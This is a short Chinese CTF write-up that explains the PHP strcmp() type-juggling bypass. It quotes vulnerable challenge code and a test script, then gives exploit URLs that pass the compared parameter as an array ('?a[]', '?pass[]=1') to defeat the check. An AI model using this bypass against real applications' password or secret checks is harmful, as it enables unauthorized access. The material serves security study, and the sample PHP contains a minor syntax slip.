代码审计strcmp漏洞
//题目地址http://123.206.87.240:9009/6.php
//把变量a构造成数组就可以了,利用strcmp的漏洞原理
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else die()
print 'No';
//函数输出一条消息,并退出当前脚本。
//die函数是 exit() 函数的别名。
}
?>
//http://123.206.87.240:9009/6.php?a[]
php strcmp bypass漏洞
在PHP 5.3版本以上的strcmp()有一个bypass漏洞,在说这个漏洞之前我们先来看一下strcmp()这个函数。
1
|
int strcmp ( string $str1 , string $str2 ) |
(注意该比较区分大小写。)
如果 str1
小于 str2
返回 < 0; 如果 str1
大于 str2
返回 > 0;如果两者相等,返回 0。
测试代码如下:
1
2
3
4
5
6
7
8
9
10
|
<?php $password = $_GET [ 'pass' ]; if ( strcmp ( 'websec' , $password )){ echo "No!" ; } else { echo "Success!" ; } ?> |
strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制
http://127.0.0.1/str.php?pass[]=1
//摘自https://www.cnblogs.com/websec/p/7099687.html